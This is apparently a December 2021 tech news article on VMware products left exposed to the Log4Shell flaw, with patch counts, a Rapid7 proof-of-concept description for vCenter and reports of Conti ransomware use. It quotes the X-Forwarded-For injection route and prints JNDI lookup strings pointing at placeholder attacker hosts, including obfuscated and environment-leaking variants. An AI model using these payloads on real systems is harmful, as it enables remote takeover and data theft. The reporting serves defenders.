VMware vCenter “trivial to exploit” using Log4Shell, POC available

Updated 10:45 BST December 19 to confirm 28 products remain unpatched incl. vCenter Server

Virtualisation giant VMware has confirmed that 40 of its products are exposed to the risk of attack and takeover by an unauthenticated remote user as a result of Log4j vulnerability exploitation. A VMware advisory showed CVSS 10 (as severe as it gets) vulnerability across every single exposed VMware product.

The company’s teams – like many in the industry putting in some heroic shifts – had managed to patch 15 of those products as The Stack published late Monday (December 13) but 25 of the affected software tools remained exposed to the pre-auth RCE. These included the critical and widely deployed VMware vCenter Server, VMware Unified Access Gateway, VMware Horizon and numerous other offerings from the company.

VMware's software is used by the British Army, T-Mobile, major banks and numerous other blue chips.

“A malicious actor with network access to an impacted VMware product may exploit this issue to gain full control of the target system” the company said, confirming attacks in the wild. A proof-of-concept (POC) detailing how to exploit the vulnerability in VMware’s central management tool vCenter server landed on Monday suggesting widespread attacks may follow: it’s turned into a true race against the clock for defenders.

UPDATED Monday December 20: Some 28 of the affected products remain unpatched over a week later, including the exploited-in-the-wild vCenter Server and the VMware vCenter Cloud Gateway.

Reports from AdvIntel meanwhile suggest the Conti ransomware group is now exploiting Log4shell attacks on vCenter Server for lateral movement (relying on other techniques for initial systems breach.)

VMware vCenter server exploitation POC circulates

“Basically all VCenter instances should be trivially exploitable by a remote and unauthenticated attacker…” said researchers at security firm Rapid7, noted, confirming a tested POC that they published on Monday.

They said: “VMWare VCenter’s log-in page (/websso/SAML2/SSO/<hostname>), requires the user to provide a SAMLRequest parameter. When the SAMLRequest parameter is empty (or there is an issue parsing it) the system logs an error to /var/log/vmware/sso.log. VCenter will use the value in the HTTP X-Forwarded-For field as the “client” in the log message. Inserting a log4j payload into that header and making a request to the VCenter log in page result in exploitation.” Defenders unable to mitigate near-term may have to rely on a multiplicity of other defence techniques and double-down on post-intrusion detection and response as they await patches.

With regard to VMware’s Log4j exposure the company – as an example of just one vulnerable product – said the bug (CVE-2021-44228) had been “determined to impact vCenter Server 7.0.x, vCenter 6.7.x & vCenter 6.5.x via the Apache Log4j open source component it ships.” See the full list of exposed VM products and workarounds here.

Guidance on how to discover unknown instances of Log4j within your org. from the NCSC is here.

The Dutch NCSC has a non-exhaustive list of non-exhaustive lists of vulnerable products here.

The company is not alone; albeit seemingly particularly badly exposed as a result of the issue. It joins the thousands of software providers rendered vulnerable to attack after the critical bug was identified in the widely used Log4j Java framework: If an attacker sends a specially crafted message (incl. a string like malformed Java Naming and Directory Interface (JNDI) request of the form ${jndi:ldap://attacker.com/file} this lets them load an external code class or message lookup and the execution of that code, leading to RCE.

Switzerland’s cyber response team warned late December 12: “If you have systems that are vulnerable, check them very carefully for any sign of exploitation as the scanning is very intense and we believe that vulnerable systems got exploited quickly.” (Attackers may be deploying small initial payloads that later allow them to escalate attacks/deploy ransomware or steal internal data. The ability to detect Cobalt Strike beacons and use of tools like Mimikatz and Bloodhound may prove critical at this stage; security vendors look set for a payday.)

As Lotem Finkelstein, Director, Threat Intelligence and Research at Check Point Software put it: "This is clearly one of the most serious vulnerabilities on the internet in recent years, and it’s spreading like wild fire...

"We’re seeing what appears to be an evolutionary repression, with new variations of the original exploit being introduced rapidly — over 60 in less than 24 hours. The number of combinations of how to exploit it gives the attacker many alternatives to bypass newly introduced protections. It means that one layer of protection is not enough, and only multi layered security posture would provide a resilient protection... Once an exploration was published (on Friday), scans of the internet ensued (to allocate surfaces which are vulnerable due to this incident). Those who won’t implement a protection are probably already scanned by malicious actors. Already, we’ve documented over 846,000 attacks, where over 40% of corporate networks globally have been targeted."

As described in the NVD vulnerability disclosure, JNDI features do not protect against requests pointing to attacker-controlled endpoints including LDAP(s), DNS, and RMI requests, SentinelOne researchers highlighted. The requests poll an attacker endpoint for a file that’s then executed in the context of the Log4j 2 service.

${jndi:ldap://<malicious infrastructure>/<payload>}  ${jndi:dns://<malicious infrastructure>/<payload>} ${jndi:ldap://${env:<user>}.<malicious infrastructure>/<payload>}

Further variants of the malicious request have been publicly reported and include slight obfuscation with nested functions like ${lower:<letter>} ${jndi:${lower:l}${lower:d}ap://<malicious infrastructure>/<payload>}

Follow The Stack on LinkedIn

End users may also want to consider looking at the below community tools for further support.